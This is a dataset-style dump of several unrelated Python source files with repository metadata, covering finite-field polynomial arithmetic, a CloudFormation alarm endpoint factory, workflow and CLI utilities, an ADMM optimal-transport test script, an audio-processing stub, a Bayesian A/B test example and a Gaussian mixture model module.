self.F.pmul(a2,c1) c0 = self.F.pmul((z1-self.F.pmul(a1c2+a2c1,mod)),self.F.invert(a0)) else : if a1 == z0: inva0 = self.F.invert(a0) a02 = self.F.pmul(a0,a2) a000 = self.F.pmul(a00,a0) a22 = self.F.square(a2) a222 = self.F.pmul(a22,a2) mm = self.F.square(mod) a222mm = self.F.pmul(a222,mm) c2 = self.F.pmul(-a02,self.F.invert(a000+a222mm)) a02m = self.F.pmul(a02,mod) a02mc2 = self.F.pmul(a02m,c2) inva00 = self.F.square(inva0) c1 = self.F.pmul(-a02mc2,inva00) a2m = self.F.pmul(a2,mod) a2mc1 = self.F.pmul(a2m,c1) c0 = self.F.pmul(z1-a2mc1,inva0) elif a2 == z0: a11 = self.F.square(a1) a111 = self.F.pmul(a11,a1) a000 = self.F.pmul(a00,a0) a111m = self.F.pmul(a111,mod) inva0 = self.F.invert(a0) c2 = self.F.pmul(a11,self.F.invert(a111m+a000)) a11m = self.F.pmul(a11,mod) a11mc2 = self.F.pmul(a11m,c2) inva00 = self.F.square(inva0) c1 = self.F.pmul(a11mc2-a1,inva00) a1m = self.F.pmul(a1,mod) a1mc2 = self.F.pmul(a1m,c2) c0 = self.F.pmul(z1-a1mc2,inva0) else : a01 = self.F.pmul(a0,a1) a22 = self.F.square(a2) a22m = self.F.pmul(a22,mod) a02 = self.F.pmul(a0,a2) a11 = self.F.square(a1) abus = a01-a22m abos = self.F.pmul(a02-a11,mod) invabis = self.F.invert(abis) abb = self.F.pmul(abus,invabis) abb1 = self.F.pmul(abb,a1) abbbos = self.F.pmul(abb,abos) c2 = self.F.pmul(abb1-a2,self.F.invert(abis-abbbos)) abosc2 = self.F.pmul(abos,c2) c1 = self.F.pmul(-a1-abosc2,invabis) a1c2 = self.F.pmul(a1,c2) a2c1 = self.F.pmul(a2,c1) c0 = self.F.pmul(z1-self.F.pmul(a1c2+a2c1,mod),self.F.invert(a0)) invap = polynom(self.F,[c2,c1,c0]) inva = ExtensionFieldElem(self,invap) return inva else : P = ExtensionFieldElem(self,self.irpoly) r,u,v = self.extendedeuclide(P,a) n,d = r.poly.truedeg() assert n == self.deg-2 c = r.poly.coef[len(r.poly.coef)-1].invert() cp = polynom(self.F,[c]) ce = ExtensionFieldElem(self,cp) return ce*v def invertible(self,a): return not self.reduc(a)==self.zero() def div(self,a,b): return a*self.invert(b) def eucldiv(self,a,b): zero = self.F.zero() izero = self.zero() d = self.deg assert not b.poly.iszero() # Do not divide by zero if a.poly.iszero() : return izero, izero # quotient is zero, remain is zero elif a == b: return self.one(), izero # quotient is one, remain is zero #Notations A = a.poly.coef B = b.poly.coef n, da = a.poly.truedeg() # position of first non zero elem of a and degree of a m, db = b.poly.truedeg() # same for b if da<db : # deg(a)<deg(b) return izero, a # quotient is zero, remain is a elif da==db: #deg(a)=deg(b) deg = max(d-1,da) rc = [zero]*(deg) qc = [zero]*(deg) q = A[n]/B[m] for i in range(1,deg): rc[i] = A[n+i]-q*B[m+i] qc[deg-1] = q rp = polynom(self.F,rc) qp = polynom(self.F,qc) remain = ExtensionFieldElem(self,rp) quotient = ExtensionFieldElem(self,qp) return quotient, remain else : # deg(a)>deg(b) deg = max(d-1,da) p = deg - da rc = [zero]*(deg) qc = [zero]*(deg) rc[deg-da:] = A[n:] pm=0 while p+pm+db<deg+1: #k is the position of the index of the quotient k = deg-(da-db)-1+pm qc[k] = rc[p+pm]/B[m] for i in range(db): rc[i+p+pm] = rc[i+p+pm]- qc[k]*B[m+i] pm=pm+1 rp = polynom(self.F,rc) qp = polynom(self.F,qc) remain = ExtensionFieldElem(self,rp) quotient = ExtensionFieldElem(self,qp) return quotient, remain def reduc(self,a): assert a.F.F == self.F if a.poly.iszero() : return self.zero() elif a.poly == self.irpoly : return self.zero() elif a.deg < self.deg : c = [self.F.zero()]*(self.deg-1-a.deg) newacoef = c+a.poly.coef newapoly= polynom(self.F, newacoef) newaelem = ExtensionFieldElem(self, newapoly) return newaelem else : # Case where a is not zero or the irreducible polynomial and deg(a)>=deg(irpoly) q,r = self.eucldiv(a,ExtensionFieldElem(self,self.irpoly)) r = self.trunc(r) return self.reduc(r) def reduc2(self,a): As = a[:(self.deg-2)] Ad = a[(self.deg-2):] b = list(dot(As,self.tabular)+Ad) newapoly = polynom(self.F,b) newa = ExtensionFieldElem(self,newapoly) return newa def trunc(self,a): d = self.deg if a.deg == d-1: return a c = a.poly.coef[a.deg-d+1:] # the (d-1) last elements of a cp = polynom(self.F,c) return ExtensionFieldElem(self,cp) def table(self): d = self.deg T = zeros((d-2,d-1),dtype=object_) Pc = self.irpoly.coef[1:] for i in range(0,d-2): Qc = [self.F.zero()]*(2*(d-1)-1) Qc[i+1:i+d] = Pc Qp = polynom(self.F,Qc) Qe = ExtensionFieldElem(self,Qp) Q = self.reduc(-Qe) T[i] = array(Q.poly.coef) return T def extendedeuclide(self,a,b): #init one = self.one() zero = self.zero() s = a u = one v = zero sp = b up = zero vp = one #loop : invariants are s = ua+vb and sp = up*a+vp*b while not sp.poly.iszero() : q,r = self.eucldiv(s,sp) s,u,v,sp,up,vp = sp, up, vp, r, u-up*q,v-vp*q return self.reduc(s),self.reduc(u),self.reduc(v) def __str__(self): return str(self.F)+"/"+str(self.irpoly) def jsonable(self): return {'type': 'Field Extension', 'F': self.F, 'irpoly': self.irpoly, 'degree':self.deg-1} class ExtensionFieldElem(FieldElem): def __init__(self,F,poly): self.F = F self.poly = poly self.siz = len(poly.coef) self.deg = self.siz def __str__(self): x = self.F.rep p = self.poly s = '(' if self.siz == 1 : s = s+str(p.coef[0]) if self.siz == 2 : s = s+str(p.coef[0])+'*'+x+' + '+str(p.coef[1]) if self.siz > 2 : s =s+str(p.coef[0])+'*'+x+'**'+str(self.siz-1) for i in range(1,self.siz-2): s = s+' + '+str(p.coef[i])+'*'+x+'**'+str(self.siz-1-i) s = s+' + '+str(p.coef[self.siz-2])+'*'+x +' + '+str(p.coef[self.siz-1]) return s+')' def __eq__(self,other): try: return self.F == other.F and self.poly == other.poly except: return False def fingerprint(self): return self.poly.fingerprint() def jsonable(self): return {'type': 'ExtensionFieldElem', 'F': self.F, 'poly': self.poly, 'size': self.siz} class polynom: def __init__(self,F,coef): self.F = F # The field in which coeficients belong if isinstance(coef,list): self.coef = coef # A list of coeficient in decreasing order (by convention) of the polynomial's degree self.deg = len(coef) else : self.coef = [coef] self.deg = 1 def __eq__(self,other): try: return (self.F == other.F and self.coef == other.coef) except: return False def __str__(self): x = self.F.rep if x == None: x = 'X' s = '(' if self.deg == 1 : s = s+str(self.coef[0]) if self.deg == 2 : s = s+str(self.coef[0])+'*'+x+' + '+str(self.coef[1]) if self.deg > 2 : s =s+str(self.coef[0])+'*'+x+'**'+str(self.deg-1) for i in range(1,self.deg-2): s = s+' + '+str(self.coef[i])+'*'+x+'**'+str(self.deg-1-i) s = s+' + '+str(self.coef[self.deg-2])+'*'+x +' + '+str(self.coef[self.deg-1]) return s+')' def fingerprint(self): L = [] for c in self.coef: L.append(c.fingerprint()) return fingexp.fingerprint(L) def iszero(self): cond = True for i in self.coef: pcond = i.iszero() cond = pcond*cond return cond def truedeg(self): if self.iszero(): return 0,0 n = 0 while self.coef[n]==self.F.zero(): n = n+1 return n, self.deg-n def jsonable(self): return {'type': 'polynomial', 'F': self.F, 'coeficients': self.coef, 'degree': self.deg}

true

790b28543a58805c78207912115bb3764bd5ceb4

1,452

py

Python

src/spacel/provision/app/alarm/endpoint/factory.py

mycloudandme/spacel-provision

900b8ada0017f727163c5c2ae464e17d747ba0e8

[ "MIT" ]

2

2016-05-18T11:10:27.000Z

2016-05-18T13:25:04.000Z

src/spacel/provision/app/alarm/endpoint/factory.py

mycloudandme/spacel-provision

900b8ada0017f727163c5c2ae464e17d747ba0e8

[ "MIT" ]

null

src/spacel/provision/app/alarm/endpoint/factory.py

mycloudandme/spacel-provision

900b8ada0017f727163c5c2ae464e17d747ba0e8

[ "MIT" ]

null

import logging logger = logging.getLogger('spacel.provision.app.alarm.endpoint.factory') class AlarmEndpointFactory(object): def __init__(self, factories): self._factories = factories def add_endpoints(self, template, endpoints): endpoint_resources = {} logger.debug('Injecting %d endpoints.', len(endpoints)) for name, params in endpoints.items(): factory = self._factory_for_type(params, name) if not factory: continue actions = factory.add_endpoints(template, name, params) if actions: endpoint_resources[name] = { 'name': factory.resource_name(name), 'actions': actions } else: logger.debug('Endpoint %s was invalid.', name) if endpoint_resources: logger.debug('Built endpoints: %s', endpoint_resources) return endpoint_resources def _factory_for_type(self, params, name): endpoint_type = params.get('type') if not endpoint_type: logger.warning('Endpoint %s is missing "type".', name) return None factory = self._factories.get(endpoint_type) if not factory: logger.warning('Endpoint %s has invalid "type". Valid types: %s', name, sorted(self._factories.keys())) return None return factory

33.767442

77

0.587466

import logging logger = logging.getLogger('spacel.provision.app.alarm.endpoint.factory') class AlarmEndpointFactory(object): def __init__(self, factories): self._factories = factories def add_endpoints(self, template, endpoints): endpoint_resources = {} logger.debug('Injecting %d endpoints.', len(endpoints)) for name, params in endpoints.items(): factory = self._factory_for_type(params, name) if not factory: continue actions = factory.add_endpoints(template, name, params) if actions: endpoint_resources[name] = { 'name': factory.resource_name(name), 'actions': actions } else: logger.debug('Endpoint %s was invalid.', name) if endpoint_resources: logger.debug('Built endpoints: %s', endpoint_resources) return endpoint_resources def _factory_for_type(self, params, name): endpoint_type = params.get('type') if not endpoint_type: logger.warning('Endpoint %s is missing "type".', name) return None factory = self._factories.get(endpoint_type) if not factory: logger.warning('Endpoint %s has invalid "type". Valid types: %s', name, sorted(self._factories.keys())) return None return factory

true

790b288e1719545deb4204457f8c3a871ba6ca5d

2,016

py

Python

base/src/shallowflow/base/sources/_ForLoop.py

waikato-datamining/shallow-flow

3f1d99921e5138598eb164edeb1d23e6f199501c

[ "MIT" ]

null

base/src/shallowflow/base/sources/_ForLoop.py

waikato-datamining/shallow-flow

3f1d99921e5138598eb164edeb1d23e6f199501c

[ "MIT" ]

2

2021-08-18T22:00:08.000Z

2021-08-18T22:00:47.000Z

base/src/shallowflow/base/sources/_ForLoop.py

waikato-datamining/shallowflow

3f1d99921e5138598eb164edeb1d23e6f199501c

[ "MIT" ]

null

from shallowflow.api.source import AbstractListOutputSource from shallowflow.api.config import Option class ForLoop(AbstractListOutputSource): """ Outputs an integer from the specified range. """ def description(self): """ Returns a description for the actor. :return: the actor description :rtype: str """ return "Outputs an integer from the specified range." def _define_options(self): """ For configuring the options. """ super()._define_options() self._option_manager.add(Option(name="start", value_type=int, def_value=1, help="The starting value")) self._option_manager.add(Option(name="end", value_type=int, def_value=10, help="The last value (incl)")) self._option_manager.add(Option(name="step", value_type=int, def_value=1, help="The increment between values")) def _get_item_type(self): """ Returns the type of the individual items that get generated, when not outputting a list. :return: the type that gets generated """ return int def setup(self): """ Prepares the actor for use. :return: None if successful, otherwise error message :rtype: str """ result = super().setup() if result is None: if self.get("end") < self.get("start"): result = "End value (%s) must be smaller than start (%d)!" % (self.get("end"), self.get("start")) return result def _do_execute(self): """ Performs the actual execution. :return: None if successful, otherwise error message :rtype: str """ i = self.get("start") step = self.get("step") end = self.get("end") while i <= end: self._output.append(i) i += step return None

30.545455

113

0.556052

from shallowflow.api.source import AbstractListOutputSource from shallowflow.api.config import Option class ForLoop(AbstractListOutputSource): def description(self): return "Outputs an integer from the specified range." def _define_options(self): super()._define_options() self._option_manager.add(Option(name="start", value_type=int, def_value=1, help="The starting value")) self._option_manager.add(Option(name="end", value_type=int, def_value=10, help="The last value (incl)")) self._option_manager.add(Option(name="step", value_type=int, def_value=1, help="The increment between values")) def _get_item_type(self): return int def setup(self): result = super().setup() if result is None: if self.get("end") < self.get("start"): result = "End value (%s) must be smaller than start (%d)!" % (self.get("end"), self.get("start")) return result def _do_execute(self): i = self.get("start") step = self.get("step") end = self.get("end") while i <= end: self._output.append(i) i += step return None

true

790b2907d60dd24209ea9e5a733a1b821116b164

1,138

py

Python

pyiron/cli/wrapper.py

srmnitc/pyiron

ea290206292d60f5ad0a67b171a9f2f71f043264

[ "BSD-3-Clause" ]

null

pyiron/cli/wrapper.py

srmnitc/pyiron

ea290206292d60f5ad0a67b171a9f2f71f043264

[ "BSD-3-Clause" ]

null

pyiron/cli/wrapper.py

srmnitc/pyiron

ea290206292d60f5ad0a67b171a9f2f71f043264

[ "BSD-3-Clause" ]

null

# Copyright (c) Max-Planck-Institut für Eisenforschung GmbH - Computational Materials Design (CM) Department # Distributed under the terms of "New BSD License", see the LICENSE file. """ Run a job from hdf5. """ from pyiron.base.job.wrapper import job_wrapper_function def register(parser): parser.add_argument( "-d", "--debug", action = "store_true", help = "enable debug mode" # TODO: what's that mean? ) parser.add_argument( "-j", "--job-id", help = "job id to run" ) parser.add_argument( "-p", "--project", help = "directory where the HDF5 file of the job is located" ) parser.add_argument( "-f", "--file-path", help = "path to the HDF5 file" ) parser.add_argument( "-s", "--submit", action = "store_true", help = "submit to queuing system on remote host" ) def main(args): job_wrapper_function( working_directory=args.project, job_id=args.job_id, file_path=args.file_path, debug=args.debug, submit_on_remote=args.submit )

29.179487

108

0.593146

from pyiron.base.job.wrapper import job_wrapper_function def register(parser): parser.add_argument( "-d", "--debug", action = "store_true", help = "enable debug mode" ) parser.add_argument( "-j", "--job-id", help = "job id to run" ) parser.add_argument( "-p", "--project", help = "directory where the HDF5 file of the job is located" ) parser.add_argument( "-f", "--file-path", help = "path to the HDF5 file" ) parser.add_argument( "-s", "--submit", action = "store_true", help = "submit to queuing system on remote host" ) def main(args): job_wrapper_function( working_directory=args.project, job_id=args.job_id, file_path=args.file_path, debug=args.debug, submit_on_remote=args.submit )

true

790b295c1eca2286359672cb11eb653de59239b7

1,765

py

Python

test_ADMM.py

CrazyIvanPro/Optimal_Transport

aa782820a5ca5a01909ed3c32acbada43f6cfa0f

[ "MIT" ]

2

2020-11-09T10:37:19.000Z

2021-07-06T09:24:30.000Z

test_ADMM.py

CrazyIvanPro/Optimal_Transport

aa782820a5ca5a01909ed3c32acbada43f6cfa0f

[ "MIT" ]

null

test_ADMM.py

CrazyIvanPro/Optimal_Transport

aa782820a5ca5a01909ed3c32acbada43f6cfa0f

[ "MIT" ]

1

2021-06-03T17:07:01.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- # ======================================= # File Name: test_ADMM.py # Purpose : test ADMM solver for primal # problem and dual problem # ======================================= from utils import get_params from ADMM_primal import ADMM_primal from ADMM_dual import ADMM_dual import numpy as np import argparse import time import sys """Parser """ parser = argparse.ArgumentParser() parser.add_argument('--n', type=int, default=64) parser.add_argument('--dataset', type=str, choices=['random', 'caffarelli', 'ellipse', 'DOTmark'], default='random') parser.add_argument('--imageclass', type=str, default='WhiteNoise') parser.add_argument('--method', type=str, choices=['primal', 'dual'], default='primal') parser.add_argument('--iters', type=int, default=10000) parser.add_argument('--alpha', type=float, default=1.618) parser.add_argument('--rho', type=float, default=1024) args = parser.parse_args() def main(): """Main routine """ print("\nTesting ADMM") print("====================") print("m = n : ", args.n) print("dataset: ", args.dataset) if args.dataset == 'DOTmark': print("class : ", args.imageclass) print("method : ", args.method) print("====================") mu, nu, c = get_params(args.n, args.dataset, args.imageclass) start = time.time() if args.method == 'primal': ADMM_primal(mu, nu, c, args.iters, args.rho, args.alpha) elif args.method == 'dual': ADMM_dual(mu, nu, c, args.iters, args.rho, args.alpha) t = time.time() - start print('time = %.5e' % t) if __name__ == '__main__': try: main() except KeyboardInterrupt: print (" Ctrl+C pressed...") sys.exit(1)

29.915254

116

0.5983

from utils import get_params from ADMM_primal import ADMM_primal from ADMM_dual import ADMM_dual import numpy as np import argparse import time import sys parser = argparse.ArgumentParser() parser.add_argument('--n', type=int, default=64) parser.add_argument('--dataset', type=str, choices=['random', 'caffarelli', 'ellipse', 'DOTmark'], default='random') parser.add_argument('--imageclass', type=str, default='WhiteNoise') parser.add_argument('--method', type=str, choices=['primal', 'dual'], default='primal') parser.add_argument('--iters', type=int, default=10000) parser.add_argument('--alpha', type=float, default=1.618) parser.add_argument('--rho', type=float, default=1024) args = parser.parse_args() def main(): print("\nTesting ADMM") print("====================") print("m = n : ", args.n) print("dataset: ", args.dataset) if args.dataset == 'DOTmark': print("class : ", args.imageclass) print("method : ", args.method) print("====================") mu, nu, c = get_params(args.n, args.dataset, args.imageclass) start = time.time() if args.method == 'primal': ADMM_primal(mu, nu, c, args.iters, args.rho, args.alpha) elif args.method == 'dual': ADMM_dual(mu, nu, c, args.iters, args.rho, args.alpha) t = time.time() - start print('time = %.5e' % t) if __name__ == '__main__': try: main() except KeyboardInterrupt: print (" Ctrl+C pressed...") sys.exit(1)

true

790b2982b23a530e0f088aaff3c4702dc9aa626c

2,407

py

Python

livius/audio/audioProcessing.py

papar22/livius

a28929ef27f9737a598bbae36360ebe7b55a3f41

[ "Unlicense" ]

1

2018-05-08T20:04:08.000Z

livius/audio/audioProcessing.py

raffienficiaud/livius

a28929ef27f9737a598bbae36360ebe7b55a3f41

[ "Unlicense" ]

null

livius/audio/audioProcessing.py

raffienficiaud/livius

a28929ef27f9737a598bbae36360ebe7b55a3f41

[ "Unlicense" ]

null

# Import Basic modules import numpy as np import os # Import everything needed to edit video clips from moviepy.editor import * from moviepy.Clip import * from moviepy.video.VideoClip import * from moviepy.config import get_setting # ffmpeg, ffmpeg.exe, etc... class AudioProcessing: # documentation string, which can be accessed via ClassName.__doc__ (slide_detection.__doc__ ) """ This class include all required attributes and methods for slide detection. It includes different algorithms for slide detection such as harris corner detection, Histogram thresholding, Hough Transform, sum of differences of all frames and etc. The input of the functions is the input image/frame/video and the output is the four coordinates of the position of the detected slide. Built-In Class Attributes: Every Python class keeps following built-in attributes and they can be accessed using dot operator like any other attribute: __dict__ : Dictionary containing the class's namespace. __doc__ : Class documentation string or None if undefined. __name__: Class name. __module__: Module name in which the class is defined. This attribute is "__main__" in interactive mode. __bases__ : A possibly empty tuple containing the base classes, in the order of their occurrence in the base class list.""" def __init__(self, inputFile): self.inputFile = inputFile #def template_matching(self): def equalizer(self): ''' This function serves for Haris Corner Detector Inputs: Outputs: Example: ''' def signal_improvement(self): ''' This function serves for sum of the differences of all frames Inputs: Outputs: Example: ''' def audio_coding(self, bitrate, codecformat): ''' This function serves for max of the differences of all frames Inputs: Outputs: Example: ''' def audio_clip(self): ''' This function serves for max of all frames Inputs: Outputs: Example: ''' if __name__ == '__main__': print "done"

20.57265

108

0.617366

import numpy as np import os from moviepy.editor import * from moviepy.Clip import * from moviepy.video.VideoClip import * from moviepy.config import get_setting class AudioProcessing: """ This class include all required attributes and methods for slide detection. It includes different algorithms for slide detection such as harris corner detection, Histogram thresholding, Hough Transform, sum of differences of all frames and etc. The input of the functions is the input image/frame/video and the output is the four coordinates of the position of the detected slide. Built-In Class Attributes: Every Python class keeps following built-in attributes and they can be accessed using dot operator like any other attribute: __dict__ : Dictionary containing the class's namespace. __doc__ : Class documentation string or None if undefined. __name__: Class name. __module__: Module name in which the class is defined. This attribute is "__main__" in interactive mode. __bases__ : A possibly empty tuple containing the base classes, in the order of their occurrence in the base class list.""" def __init__(self, inputFile): self.inputFile = inputFile #def template_matching(self): def equalizer(self): ''' This function serves for Haris Corner Detector Inputs: Outputs: Example: ''' def signal_improvement(self): ''' This function serves for sum of the differences of all frames Inputs: Outputs: Example: ''' def audio_coding(self, bitrate, codecformat): ''' This function serves for max of the differences of all frames Inputs: Outputs: Example: ''' def audio_clip(self): ''' This function serves for max of all frames Inputs: Outputs: Example: ''' if __name__ == '__main__': print "done"

false

true

790b2c18fd1bc9773b6a57aed8716bfd86135e86

1,355

py

Python

code/examples/example_mikhail.py

hugopibernat/BayesianABTestAnalysis

026960524f5313f4a734f30fd447a5731be802e0

[ "Apache-2.0" ]

null

code/examples/example_mikhail.py

hugopibernat/BayesianABTestAnalysis

026960524f5313f4a734f30fd447a5731be802e0

[ "Apache-2.0" ]

null

code/examples/example_mikhail.py

hugopibernat/BayesianABTestAnalysis

026960524f5313f4a734f30fd447a5731be802e0

[ "Apache-2.0" ]

null

from bayesianABTest import sampleSuccessRateForBinomial from numpy import mean def bestOfFive(A,B,C,D,E,F): return mean( (A > B) & (A > C) & (A > D) & (A > E) & (A > F)) ############# Example: Binomial Distribution ############# # Actual data for all cases installs = [986,1013,959,968,1029,1014] returns = [340,298,274,287,325,291] A = sampleSuccessRateForBinomial(installs[0],returns[0]) B = sampleSuccessRateForBinomial(installs[1],returns[1]) C = sampleSuccessRateForBinomial(installs[2],returns[2]) D = sampleSuccessRateForBinomial(installs[3],returns[3]) E = sampleSuccessRateForBinomial(installs[4],returns[4]) F = sampleSuccessRateForBinomial(installs[5],returns[5]) A_best = bestOfFive(A,B,C,D,E,F) B_best = bestOfFive(B,A,C,D,E,F) C_best = bestOfFive(C,B,A,D,E,F) D_best = bestOfFive(D,B,C,A,E,F) E_best = bestOfFive(E,B,C,D,A,F) F_best = bestOfFive(F,B,C,D,E,A) # Get samples from the posterior print "The probability of 20 being the best choice is {}".format(A_best) print "The probability of 21 being the best choice is {}".format(B_best) print "The probability of 22 being the best choice is {}".format(C_best) print "The probability of 23 being the best choice is {}".format(D_best) print "The probability of 24 being the best choice is {}".format(E_best) print "The probability of 25 being the best choice is {}".format(F_best)

38.714286

72

0.720295

from bayesianABTest import sampleSuccessRateForBinomial from numpy import mean def bestOfFive(A,B,C,D,E,F): return mean( (A > B) & (A > C) & (A > D) & (A > E) & (A > F)) robability of 21 being the best choice is {}".format(B_best) print "The probability of 22 being the best choice is {}".format(C_best) print "The probability of 23 being the best choice is {}".format(D_best) print "The probability of 24 being the best choice is {}".format(E_best) print "The probability of 25 being the best choice is {}".format(F_best)

false

true

790b2c72de1235c0ff977b57459bda4356b27913

5,790

py

Python

bananas/model.py

bccp/bananaplots

dbfe107207e07351c7d7125430fde16fb2731cc2

[ "Apache-2.0" ]

1

2016-09-13T16:44:42.000Z

bananas/model.py

bccp/bananaplots

dbfe107207e07351c7d7125430fde16fb2731cc2

[ "Apache-2.0" ]

8

2016-08-24T22:56:35.000Z

2016-09-29T00:58:52.000Z

bananas/model.py

bccp/bananaplots

dbfe107207e07351c7d7125430fde16fb2731cc2

[ "Apache-2.0" ]

1

2021-12-11T22:51:22.000Z

import numpy # FIXME: copy the functions here from sklearn.mixture.gmm import log_multivariate_normal_density, logsumexp def sample_gaussian2(means, cv, size, random_state, mins, maxes): def once(size1): g = random_state.multivariate_normal(means, cv, size1).T g = g.reshape(len(means), -1) mask = (g >= mins[:, None]).all(axis=0) mask &= (g <= maxes[:, None]).all(axis=0) return g[:, mask] g = once(size) generated = size while g.shape[1] < size: fac = 1.0 * g.shape[1] / size togen = (size - g.shape[1]) * generated // g.shape[1] g1 = once(togen) generated = generated + togen g = numpy.append(g, g1, axis=1) return g[:, :size] class GMM(object): def __init__(self, weights, means, covs, lims): self.weights = numpy.array(weights) self.means = numpy.array(means) self.covs = numpy.array(covs) self.lims = numpy.array(lims) [nc] = self.weights.shape assert self.means.shape[0] == nc [nc, nf] = self.means.shape assert self.covs.shape[0] == nc assert self.covs.shape[1] == nf assert self.covs.shape[2] == nf [nc, nf, nf] = self.covs.shape assert self.lims.shape[0] == nf assert self.lims.shape[1] == 2 def score(self, X, return_responsibilities=False): nc = len(self.weights) X = numpy.array(X) if X.ndim == 1: X = X[:, None] if X.shape[1] != self.means.shape[1]: raise ValueError('The shape of X is not compatible with self') mins = self.lims[:, 0] maxes = self.lims[:, 1] lpr = numpy.log(self.weights) + \ log_multivariate_normal_density(X, self.means, self.covs, 'full') mask = (X >= mins[None, :]).all(axis=-1) mask &= (X <= maxes[None, :]).all(axis=-1) logprob = logsumexp(lpr, axis=1) logprob[~mask] = -numpy.inf if return_responsibilities: responsibilities = numpy.exp(lpr - logprob[:, None]) responsibilities[~mask] = 0 return logprob, responsibilities return logprob def marginalize(self, axes): return GMM(self.weights, self.means[..., axes], self.covs[..., axes][..., axes, :], self.lims[axes]) def sample(self, size, random_state=None): """Generate random samples from the model. Returns ------- X : array_like, shape (n_samples, n_features) List of samples """ if random_state is None: random_state = numpy.random mins = self.lims[:, 0] maxes = self.lims[:, 1] X = numpy.empty(size, ('f8', (self.means.shape[1],))) # decide which component to use for each sample comps = random_state.choice(len(self.weights), p=self.weights, size=size) # for each component, generate all needed samples for comp in range(len(self.weights)): # occurrences of current component in X comp_in_X = (comp == comps) # number of those occurrences num_comp_in_X = comp_in_X.sum() if num_comp_in_X > 0: cv = self.covs[comp] g = sample_gaussian2( self.means[comp], cv, num_comp_in_X, random_state, mins, maxes).T X[comp_in_X] = g return X @classmethod def fit(kls, nc, X, lims): # FIXME: get rid of this and add weights support from sklearn import mixture # XXX: Do not use DPGMM because the normalization is buggy # https://github.com/scikit-learn/scikit-learn/issues/7371 model = mixture.GMM(nc, covariance_type='full', n_iter=1000) model.fit(X) if not model.converged_: raise ValueError("Your data is strange. Gaussian mixture failed to converge") return kls(model.weights_, model.means_, model.covars_, lims) class Confidence(object): def __init__(self, model, confidence_table): self.model = model self.confidence_table = confidence_table def score(self, sc): x, y = self.confidence_table return numpy.interp(sc, x, y, left=1., right=0.) @classmethod def fit(kls, model, nsample=4*1024, vmin=-5, vmax=0, nb=100): X = model.sample(nsample) sc = model.score(X) confidence_levels = 1 - numpy.logspace(vmin, vmax, num=nb) # FIXME: add weight support here sc_cl = numpy.percentile(sc, 100. - confidence_levels * 100.) confidence_table = numpy.array([sc_cl, confidence_levels]) return kls(model, confidence_table) class CombinedModel(object): def __init__(self, models): self.models = models def score(self, X): return sum([model.score(X) for model in self.models]) def marginalize(self, axes): return CombinedModel([ model.marginalize(axes) for model in self.models]) def sample(self, nsample, random_state=None): if random_state is None: random_state = numpy.random def once(size): X = self.models[0].sample(size, random_state) nf = X.shape[-1] lnprob = sum([model.score(X) for model in self.models[1:]]) prob = numpy.exp(lnprob) prob /= prob.max() keep = random_state.rand(len(X)) < prob return X[keep].reshape(-1, nf) g = once(nsample) ng = nsample while len(g) < nsample: togen = (nsample - len(g)) * ng // len(g) g1 = once(togen) ng = ng + togen g = numpy.append(g, g1, axis=0) return g[:nsample]

33.859649

108

0.56943

import numpy from sklearn.mixture.gmm import log_multivariate_normal_density, logsumexp def sample_gaussian2(means, cv, size, random_state, mins, maxes): def once(size1): g = random_state.multivariate_normal(means, cv, size1).T g = g.reshape(len(means), -1) mask = (g >= mins[:, None]).all(axis=0) mask &= (g <= maxes[:, None]).all(axis=0) return g[:, mask] g = once(size) generated = size while g.shape[1] < size: fac = 1.0 * g.shape[1] / size togen = (size - g.shape[1]) * generated // g.shape[1] g1 = once(togen) generated = generated + togen g = numpy.append(g, g1, axis=1) return g[:, :size] class GMM(object): def __init__(self, weights, means, covs, lims): self.weights = numpy.array(weights) self.means = numpy.array(means) self.covs = numpy.array(covs) self.lims = numpy.array(lims) [nc] = self.weights.shape assert self.means.shape[0] == nc [nc, nf] = self.means.shape assert self.covs.shape[0] == nc assert self.covs.shape[1] == nf assert self.covs.shape[2] == nf [nc, nf, nf] = self.covs.shape assert self.lims.shape[0] == nf assert self.lims.shape[1] == 2 def score(self, X, return_responsibilities=False): nc = len(self.weights) X = numpy.array(X) if X.ndim == 1: X = X[:, None] if X.shape[1] != self.means.shape[1]: raise ValueError('The shape of X is not compatible with self') mins = self.lims[:, 0] maxes = self.lims[:, 1] lpr = numpy.log(self.weights) + \ log_multivariate_normal_density(X, self.means, self.covs, 'full') mask = (X >= mins[None, :]).all(axis=-1) mask &= (X <= maxes[None, :]).all(axis=-1) logprob = logsumexp(lpr, axis=1) logprob[~mask] = -numpy.inf if return_responsibilities: responsibilities = numpy.exp(lpr - logprob[:, None]) responsibilities[~mask] = 0 return logprob, responsibilities return logprob def marginalize(self, axes): return GMM(self.weights, self.means[..., axes], self.covs[..., axes][..., axes, :], self.lims[axes]) def sample(self, size, random_state=None): if random_state is None: random_state = numpy.random mins = self.lims[:, 0] maxes = self.lims[:, 1] X = numpy.empty(size, ('f8', (self.means.shape[1],))) comps = random_state.choice(len(self.weights), p=self.weights, size=size) for comp in range(len(self.weights)): comp_in_X = (comp == comps) num_comp_in_X = comp_in_X.sum() if num_comp_in_X > 0: cv = self.covs[comp] g = sample_gaussian2( self.means[comp], cv, num_comp_in_X, random_state, mins, maxes).T X[comp_in_X] = g return X @classmethod def fit(kls, nc, X, lims): from sklearn import mixture model = mixture.GMM(nc, covariance_type='full', n_iter=1000) model.fit(X) if not model.converged_: raise ValueError("Your data is strange. Gaussian mixture failed to converge") return kls(model.weights_, model.means_, model.covars_, lims) class Confidence(object): def __init__(self, model, confidence_table): self.model = model self.confidence_table = confidence_table def score(self, sc): x, y = self.confidence_table return numpy.interp(sc, x, y, left=1., right=0.) @classmethod def fit(kls, model, nsample=4*1024, vmin=-5, vmax=0, nb=100): X = model.sample(nsample) sc = model.score(X) confidence_levels = 1 - numpy.logspace(vmin, vmax, num=nb) sc_cl = numpy.percentile(sc, 100. - confidence_levels * 100.) confidence_table = numpy.array([sc_cl, confidence_levels]) return kls(model, confidence_table) class CombinedModel(object): def __init__(self, models): self.models = models def score(self, X): return sum([model.score(X) for model in self.models]) def marginalize(self, axes): return CombinedModel([ model.marginalize(axes) for model in self.models]) def sample(self, nsample, random_state=None): if random_state is None: random_state = numpy.random def once(size): X = self.models[0].sample(size, random_state) nf = X.shape[-1] lnprob = sum([model.score(X) for model in self.models[1:]]) prob = numpy.exp(lnprob) prob /= prob.max() keep = random_state.rand(len(X)) < prob return X[keep].reshape(-1, nf) g = once(nsample) ng = nsample while len(g) < nsample: togen = (nsample - len(g)) * ng // len(g) g1 = once(togen) ng = ng + togen g = numpy.append(g, g1, axis=0) return g[:nsample]

true

790b2c91d5044689c187c8c0af450741d2838ee3

3,942

py

Python

